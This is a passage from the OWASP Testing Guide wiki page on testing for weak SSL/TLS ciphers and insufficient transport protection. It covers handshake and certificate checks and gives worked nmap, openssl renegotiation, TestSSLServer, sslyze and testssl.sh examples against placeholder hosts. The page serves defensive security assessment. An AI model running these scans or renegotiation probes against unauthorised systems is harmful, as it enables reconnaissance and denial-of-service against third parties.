* [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection|https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection]<br />
* [25] [OWASP ASVS 2009 - Verification 10|https://code.google.com/p/owasp-asvs/wiki/Verification_V10]<br />
* [26] [OWASP Application Security FAQ - Cryptography/SSL|https://www.owasp.org/index.php/OWASP_Application_Security_FAQ#Cryptography.2FSSL]<br />
<br />
<br />
'''Whitepapers'''<br />
* [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176)|http://www.ietf.org/rfc/rfc5246.txt]<br />
* [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|]<br />
* [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension Definitions|http://www.ietf.org/rfc/rfc6066.txt]<br />
* [11] [SSLv2 Protocol Multiple Weaknesses |http://osvdb.org/56387]<br />
* [12] [Mitre - TLS Renegotiation MiTM|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555]<br />
* [13] [Qualys SSL Labs - TLS Renegotiation DoS|https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks]<br />
* [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices|https://www.ssllabs.com/projects/best-practices/index.html]<br />
* [14] [Qualys SSL Labs - SSL Server Rating Guide|https://www.ssllabs.com/projects/rating-guide/index.html]<br />
* [20] [Qualys SSL Labs - SSL Threat Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]<br />
* [18] [Qualys SSL Labs - Forward Secrecy|https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy]<br />
* [15] [Qualys SSL Labs - RC4 Usage|https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what]<br />
* [16] [Qualys SSL Labs - BEAST|https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls]<br />
* [17] [Qualys SSL Labs - CRIME|https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls]<br />
* [7] [SurfJacking attack|https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf]<br />
* [8] [SSLStrip attack|http://www.thoughtcrime.org/software/sslstrip/]<br />
* [19] [PCI-DSS v2.0|https://www.pcisecuritystandards.org/security_standards/documents.php]<br />
* [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash Functions| http://link.springer.com/chapter/10.1007/11426639_2]<br />
<br />
<br />
'''Tools'''<br />
* [21][Qualys SSL Labs - SSL Server Test|https://www.ssllabs.com/ssltest/index.html]: internet facing scanner<br />
* [27] [Tenable - Nessus Vulnerability Scanner|http://www.tenable.com/products/nessus]: includes some plugins to test different SSL related vulnerabilities, Certificates and the presence of HTTP Basic authentication without SSL.<br />
* [32] [TestSSLServer|http://www.bolet.org/TestSSLServer/]: a java scanner - and also windows executable - includes tests for cipher suites, CRIME and BEAST<br />
* [33] [sslyze|https://github.com/iSECPartners/sslyze]: is a python script to check vulnerabilities in SSL/TLS.<br />
* [28] [SSLAudit|https://code.google.com/p/sslaudit/]: a perl script/windows executable scanner which follows Qualys SSL Labs Rating Guide.<br />
* [29] [SSLScan|http://sourceforge.net/projects/sslscan/] with [SSL Tests|http://www.pentesterscripting.com/discovery/ssl_tests]: a SSL Scanner and a wrapper in order to enumerate SSL vulnerabilities.<br />
* [31] [nmap|http://nmap.org/]: can be used primary to identify SSL-based services and then to check Certificate and SSL/TLS vulnerabilities. In particular it has some scripts to check [Certificate and SSLv2|http://nmap.org/nsedoc/scripts/ssl-cert.html] and supported [SSL/TLS protocols/ciphers|http://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html] with an internal rating.<br />
* [30] [curl|http://curl.haxx.se/] and [openssl|http://www.openssl.org/]: can be used to query manually SSL/TLS services<br />
* [9] [Stunnel|http://www.stunnel.org]: a noteworthy class of SSL clients is that of SSL proxies such as stunnel available at which can be used to allow non-SSL enabled tools to talk to SSL services)<br />
* [37] [socat| http://www.dest-unreach.org/socat/]: Multipurpose relay<br />
* [38] [testssl.sh| https://testssl.sh/ ]<br />
* [99] [breacher.sh|http://bl0g.yehg.net/2014/07/ssl-breacher-yet-another-ssl-test-tool.html]<br />
<br />
<br />
[[Category:Cryptographic Vulnerability]]<br />
[[Category:SSL]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001)&diff=179215Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)2014-07-23T14:13:03Z<p>D0ubl3 h3lix: /* Example 8. Testing SSL/TLS with SSL Breacher */</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
== Brief Summary ==<br />
<br />
Sensitive data must be protected when it is transmitted through the network. Such data can include user credentials and credit cards. As a rule of thumb, if data must be protected when it is stored, it must be protected also during transmission. <br />
<br />
<br />
HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]. The use of this protocol ensures not only confidentiality, but also authentication. Servers are authenticated using digital certificates and it is also possible to use client certificate for mutual authentication. <br />
<br />
<br />
Even if high grade ciphers are today supported and normally used, some misconfiguration in the server can be used to force the use of a weak cipher - or at worst no encryption - permitting to an attacker to gain access to the supposed secure communication channel. Other misconfiguration can be used for a Denial of Service attack.<br />
<br />
<br />
== Description of the Issue == <br />
A vulnerability occurs if the HTTP protocol is used to transmit sensitive information [2] (e.g. credentials transmitted over HTTP [3]).<br />
<br />
When the SSL/TLS service is present it is good but it increments the attack surface and the following vulnerabilities exist:<br />
* SSL/TLS protocols, ciphers, keys and renegotiation must be properly configured.<br />
* Certificate validity must be ensured.<br />
<br />
Other vulnerabilities linked to this are:<br />
* Software exposed must be updated due to possibility of known vulnerabilities [4].<br />
* Usage of Secure flag for Session Cookies [5].<br />
* Usage of HTTP Strict Transport Security (HSTS) [6].<br />
* The presence of HTTP and HTTPS both, which can be used to intercept traffic [7], [8].<br />
* The presence of mixed HTTPS and HTTP content in the same page, which can be used to Leak information.<br />
<br />
<br />
===Sensitive data transmitted in clear-text===<br />
The application should not transmit sensitive information via unencrypted channels. Typically it is possible to find basic authentication over HTTP, input password or session cookie sent via HTTP and, in general, other information considered by regulations, laws or organization policy.<br />
<br />
<br />
===Weak SSL/TLS Ciphers/Protocols/Keys===<br />
Historically, there have been limitations set in place by the U.S. government to allow cryptosystems to be exported only for key sizes of at most 40 bits, a key length which could be broken and would allow the decryption of communications. Since then cryptographic export regulations have been relaxed the maximum key size is 128 bits.<br />
<br />
<br />
It is important to check the SSL configuration being used to avoid putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g. SHA, MD5) used for integrity checking.<br />
<br />
<br />
Briefly, the key points for the cipher suite determination are the following: <br />
# The client sends to the server a ClientHello message specifying, among other information, the protocol and the cipher suites that it is able to handle. Note that a client is usually a web browser (most popular SSL client nowadays), but not necessarily, since it can be any SSL-enabled application; the same holds for the server, which needs not to be a web server, though this is the most common case [9].<br />
#The server responds with a ServerHello message, containing the chosen protocol and cipher suite that will be used for that session (in general the server selects the strongest protocol and cipher suite supported by both the client and server). <br />
<br />
<br />
It is possible (for example, by means of configuration directives) to specify which cipher suites the server will honor. In this way you may control whether or not conversations with clients will support 40-bit encryption only.<br />
<br />
#The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
#The server sends a ServerHelloDone message and waits for a client response.<br />
#Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
===SSL certificate validity – client and server===<br />
<br />
When accessing a web application via the HTTPS protocol, a secure channel is established between the client and the server. The identity of one (the server) or both parties (client and server) is then established by means of digital certificates. So, once the cipher suite is determined, the “SSL Handshake” continues with the exchange of the certificates:<br />
# The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
# The server sends a ServerHelloDone message and waits for a client response.<br />
# Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
In order for the communication to be set up, a number of checks on the certificates must be passed. While discussing SSL and certificate based authentication is beyond the scope of this guide, this section will focus on the main criteria involved in ascertaining certificate validity: <br />
<br />
* Checking if the Certificate Authority (CA) is a known one (meaning one considered trusted);<br />
* Checking that the certificate is currently valid;<br />
* Checking that the name of the site and the name reported in the certificate match.<br />
<br />
<br />
Let's examine each check more in detail. <br />
<br />
* Each browser comes with a pre-loaded list of trusted CAs, against which the certificate signing CA is compared (this list can be customized and expanded at will). During the initial negotiations with an HTTPS server, if the server certificate relates to a CA unknown to the browser, a warning is usually raised. This happens most often because a web application relies on a certificate signed by a self-established CA. Whether this is to be considered a concern depends on several factors. For example, this may be fine for an Intranet environment (think of corporate web email being provided via HTTPS; here, obviously all users recognize the internal CA as a trusted CA). When a service is provided to the general public via the Internet, however (i.e. when it is important to positively verify the identity of the server we are talking to), it is usually imperative to rely on a trusted CA, one which is recognized by all the user base (and here we stop with our considerations; we won’t delve deeper in the implications of the trust model being used by digital certificates). <br />
<br />
<br />
* Certificates have an associated period of validity, therefore they may expire. Again, we are warned by the browser about this. A public service needs a temporally valid certificate; otherwise, it means we are talking with a server whose certificate was issued by someone we trust, but has expired without being renewed. <br />
<br />
<br />
* What if the name on the certificate and the name of the server do not match? If this happens, it might sound suspicious. For a number of reasons, this is not so rare to see. A system may host a number of name-based virtual hosts, which share the same IP address and are identified by means of the HTTP 1.1 Host: header information. In this case, since the SSL handshake checks the server certificate before the HTTP request is processed, it is not possible to assign different certificates to each virtual server. Therefore, if the name of the site and the name reported in the certificate do not match, we have a condition which is typically signaled by the browser. To avoid this, IP-based virtual servers must be used. [33] and [34] describe techniques to deal with this problem and allow name-based virtual hosts to be correctly referenced. <br />
<br />
<br />
===Other vulnerabilities===<br />
The presence of a new service, listening in a separate tcp port may introduce vulnerabilities such as infrastructure vulnerabilities if the software is not up to date [4]. Furthermore, for the correct protection of data during transmission the Session Cookie must use the Secure flag [5] and some directives should be sent to the browser to accept only secure traffic (e.g. HSTS [6], CSP [9]). <br />
<br />
<br />
Also there are some attacks that can be used to intercept traffic if the web server exposes the application on both HTTP and HTTPS [6], [7] or in case of mixed HTTP and HTTPS resources in the same page.<br />
<br />
<br />
== Black Box Testing ==<br />
<br />
===Testing for sensitive data transmitted in clear-text===<br />
Various types of information which must be protected can be also transmitted in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS. Please refer to specific tests for full details, for credentials [3] and other kind of data [2]. <br />
<br />
<br />
=====Example 1. Basic Authentication over HTTP=====<br />
A typical example is the usage of Basic Authentication over HTTP because with Basic Authentication, after log in, credentials are encoded - and not encrypted - into HTTP Headers.<br />
<br />
<pre><br />
$ curl -kis http://example.com/restricted/<br />
HTTP/1.1 401 Authorization Required<br />
Date: Fri, 01 Aug 2013 00:00:00 GMT<br />
WWW-Authenticate: Basic realm="Restricted Area"<br />
Accept-Ranges: bytes<br />
Vary: Accept-Encoding<br />
Content-Length: 162<br />
Content-Type: text/html<br />
<br />
<html><head><title>401 Authorization Required</title></head><br />
<body bgcolor=white><br />
<h1>401 Authorization Required</h1><br />
<br />
Invalid login credentials!<br />
<br />
</body></html><br />
</pre><br />
<br />
<br />
===Testing for Weak SSL/TLS Ciphers/Protocols/Keys vulnerabilities===<br />
The large number of available cipher suites and quick progress in cryptanalysis makes testing an SSL server a non-trivial task. <br />
<br />
At the time of writing these criteria are widely recognized as minimum checklist:<br />
* Weak ciphers must not be used (e.g. less than 128 bits [10]; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication).<br />
* Weak protocols must be disabled (e.g. SSLv2 must be disabled, due to known weaknesses in protocol design [11]).<br />
* Renegotiation must be properly configured (e.g. Insecure Renegotiation must be disabled, due to MiTM attacks [12] and Client-initiated Renegotiation must be disabled, due to Denial of Service vulnerability [13]).<br />
* No Export (EXP) level cipher suites, due to can be easly broken [10].<br />
* X.509 certificates key length must be strong (e.g. if RSA or DSA is used the key must be at least 1024 bits).<br />
* X.509 certificates must be signed only with secure hashing algoritms (e.g. not signed using MD5 hash, due to known collision attacks on this hash).<br />
* Keys must be generated with proper entropy (e.g, Weak Key Generated with Debian) [14].<br />
<br />
A more complete checklist includes:<br />
* Secure Renegotiation should be enabled.<br />
* MD5 should not be used, due to known collision attacks. [35]<br />
* RC4 should not be used, due to crypto-analytical attacks [15].<br />
* Server should be protected from BEAST Attack [16].<br />
* Server should be protected from CRIME attack, TLS compression must be disabled [17].<br />
* Server should support Forward Secrecy [18].<br />
<br />
<br />
The following standards can be used as reference while assessing SSL servers:<br />
* PCI-DSS v2.0 in point 4.1 requires compliant parties to use "strong cryptography" without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used [19].<br />
* Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] and SSL Threat Model [20] has been proposed to standardize SSL server assessment and configuration. But is less updated than the SSL Server tool [21].<br />
* OWASP has a lot of resources about SSL/TLS Security [22], [23], [24], [25]. [26].<br />
<br />
<br />
Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan [29]) and commercial (e.g. Tenable Nessus [27]), can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with openssl [30] or use the tool’s output as an input for manual evaluation using the references.<br />
<br />
<br />
Sometimes the SSL/TLS enabled service is not directly accessible and the tester can access it only via a HTTP proxy using CONNECT method [36]. Most of the tools will try to connect to desired tcp port to start SSL/TLS handshake. This will not work since desired port is accessible only via HTTP proxy. The tester can easily circumvent this by using relaying software such as socat [37].<br />
<br />
<br />
====Example 2. SSL service recognition via nmap====<br />
<br />
The first step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are - but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).<br />
<br />
In this example we search for SSL services using nmap with “-sV” option, used to identify services and it is also able to identify SSL services [31]. Other options are for this particular example and must be customized. Often in a Web Application Penetration Test scope is limited to port 80 and 443.<br />
<br />
<pre><br />
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up, received user-set (0.20s latency).<br />
Not shown: 89 filtered ports<br />
Reason: 89 no-responses<br />
PORT STATE SERVICE REASON VERSION<br />
21/tcp open ftp syn-ack Pure-FTPd<br />
22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)<br />
25/tcp open smtp syn-ack Exim smtpd 4.80<br />
26/tcp open smtp syn-ack Exim smtpd 4.80<br />
80/tcp open http syn-ack<br />
110/tcp open pop3 syn-ack Dovecot pop3d<br />
143/tcp open imap syn-ack Dovecot imapd<br />
443/tcp open ssl/http syn-ack Apache<br />
465/tcp open ssl/smtp syn-ack Exim smtpd 4.80<br />
993/tcp open ssl/imap syn-ack Dovecot imapd<br />
995/tcp open ssl/pop3 syn-ack Dovecot pop3d<br />
Service Info: Hosts: example.com<br />
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .<br />
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds<br />
</pre><br />
<br />
<br />
====Example 3. Checking for Certificate information, Weak Ciphers and SSLv2 via nmap====<br />
Nmap has two scripts for checking Certificate information, Weak Ciphers and SSLv2 [31].<br />
<br />
<pre><br />
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up (0.090s latency).<br />
rDNS record for 127.0.0.1: www.example.com<br />
PORT STATE SERVICE<br />
443/tcp open https<br />
| ssl-cert: Subject: commonName=www.example.org<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 1024<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
465/tcp open smtps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
993/tcp open imaps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
995/tcp open pop3s<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds<br />
</pre><br />
<br />
<br />
====Example 4 Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually)====<br />
<br />
Openssl [30] can be used for testing manually SSL/TLS. In this example the tester tries to initiate a renegotiation by client [m] connecting to server with openssl. The tester then writes the fist line of an HTTP request and types “R” in a new line. He then waits for renegotiaion and completion of the HTTP request and checks if secure renegotiaion is supported by looking at the server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers and for other vulnerabilities. <br />
<br />
<pre><br />
$ openssl s_client -connect www2.example.com:443<br />
CONNECTED(00000003)<br />
depth=2 ******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
---<br />
Certificate chain<br />
0 s:******<br />
i:******<br />
1 s:******<br />
i:******<br />
2 s:******<br />
i:******<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
******<br />
-----END CERTIFICATE-----<br />
subject=******<br />
issuer=******<br />
---<br />
No client certificate CA names sent<br />
---<br />
SSL handshake has read 3558 bytes and written 640 bytes<br />
---<br />
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
SSL-Session:<br />
Protocol : TLSv1<br />
Cipher : DES-CBC3-SHA<br />
Session-ID: ******<br />
Session-ID-ctx: <br />
Master-Key: ******<br />
Key-Arg : None<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
Start Time: ******<br />
Timeout : 300 (sec)<br />
Verify return code: 20 (unable to get local issuer certificate)<br />
---<br />
</pre><br />
<br />
<br />
Now the tester can write the first line of an HTTP request and then R in a new line.<br />
<pre><br />
HEAD / HTTP/1.1<br />
R<br />
</pre><br />
<br />
Server is renegotiating<br />
<pre><br />
RENEGOTIATING<br />
depth=2 C******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
</pre><br />
<br />
And the tester can complete our request, checking for response.<br />
<pre><br />
HEAD / HTTP/1.1<br />
<br />
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. )<br />
Connection: close<br />
Pragma: no-cache<br />
Cache-Control: no-cache<br />
Content-Type: text/html<br />
Content-Length: 1792 <br />
<br />
read:errno=0<br />
</pre><br />
<br />
Even if the HEAD is not permitted, Client-intiated renegotiaion is permitted.<br />
<br />
<br />
====Example 5. Testing supported Cipher Suites, BEAST and CRIME attacks via TestSSLServer====<br />
<br />
TestSSLServer [32] is a script which permits the tester to check the cipher suite and also for BEAST and CRIME attacks. BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability of CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the use of RC4, but this is now discouraged due to a crypto-analytical attack to RC4 [15].<br />
<br />
<br />
An online tool to check for these attacks is SSL Labs, but can be used only for internet facing servers. Also consider that target data will be stored on SSL Labs server and also will result some connection from SSL Labs server [21].<br />
<br />
<pre><br />
$ java -jar TestSSLServer.jar www3.example.com 443<br />
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2<br />
Deflate compression: no<br />
Supported cipher suites (ORDER IS NOT SIGNIFICANT):<br />
SSLv3<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
(TLSv1.0: idem)<br />
(TLSv1.1: idem)<br />
TLSv1.2<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA256<br />
RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA256<br />
DHE_RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
----------------------<br />
Server certificate(s):<br />
******<br />
----------------------<br />
Minimal encryption strength: strong encryption (96-bit or more)<br />
Achievable encryption strength: strong encryption (96-bit or more)<br />
BEAST status: vulnerable<br />
CRIME status: protected<br />
<br />
</pre><br />
<br />
<br />
====Example 6. Testing SSL/TLS vulnerabilities with sslyze====<br />
Sslyze [33] is a python script which permits mass scanning and XML output. The following is an example of a regular scan. It is one of the most complete and versatile tools for SSL/TLS testing.<br />
<br />
<pre><br />
./sslyze.py --regular example.com:443<br />
<br />
REGISTERING AVAILABLE PLUGINS<br />
-----------------------------<br />
<br />
PluginHSTS<br />
PluginSessionRenegotiation<br />
PluginCertInfo<br />
PluginSessionResumption<br />
PluginOpenSSLCipherSuites<br />
PluginCompression<br />
<br />
<br />
<br />
CHECKING HOST(S) AVAILABILITY<br />
-----------------------------<br />
<br />
example.com:443 => 127.0.0.1:443<br />
<br />
<br />
<br />
SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443<br />
---------------------------------------------------<br />
<br />
* Compression :<br />
Compression Support: Disabled<br />
<br />
* Session Renegotiation :<br />
Client-initiated Renegotiations: Rejected<br />
Secure Renegotiation: Supported<br />
<br />
* Certificate :<br />
Validation w/ Mozilla's CA Store: Certificate is NOT Trusted: unable to get local issuer certificate<br />
Hostname Validation: MISMATCH <br />
SHA1 Fingerprint: ******<br />
<br />
Common Name: www.example.com <br />
Issuer: ******<br />
Serial Number: **** <br />
Not Before: Sep 26 00:00:00 2010 GMT <br />
Not After: Sep 26 23:59:59 2020 GMT <br />
<br />
Signature Algorithm: sha1WithRSAEncryption <br />
Key Size: 1024 bit <br />
X509v3 Subject Alternative Name: {'othername': ['<unsupported>'], 'DNS': ['www.example.com']}<br />
<br />
* OCSP Stapling :<br />
Server did not send back an OCSP response. <br />
<br />
* Session Resumption :<br />
With Session IDs: Supported (5 successful, 0 failed, 0 errors, 5 total attempts).<br />
With TLS Session Tickets: Supported<br />
<br />
* SSLV2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* SSLV3 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits HTTP 200 OK <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* TLSV1_1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-SHA socket.timeout - timed out <br />
ECDH-ECDSA-AES256-SHA socket.timeout - timed out <br />
<br />
* TLSV1_2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
<br />
* TLSV1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits Timeout on HTTP GET <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: <br />
ADH-CAMELLIA256-SHA socket.timeout - timed out <br />
<br />
<br />
<br />
SCAN COMPLETED IN 9.68 S<br />
------------------------<br />
</pre><br />
<br />
<br />
====Example 7. Testing SSL/TLS with testssl.sh====<br />
Testssl.sh [38] is a Linux shell script which provides clear output to facilitate good decision making. It can not only check web servers but also services on other ports, supports STARTTLS, SNI, SPDY and does a few check on the HTTP header as well. <br />
<br />
<br />
It's a very easy to use tool. Here's some sample output (without colors):<br />
<pre><br />
user@myhost: % testssl.sh owasp.org <br />
<br />
########################################################<br />
testssl.sh v2.0rc3 (https://testssl.sh)<br />
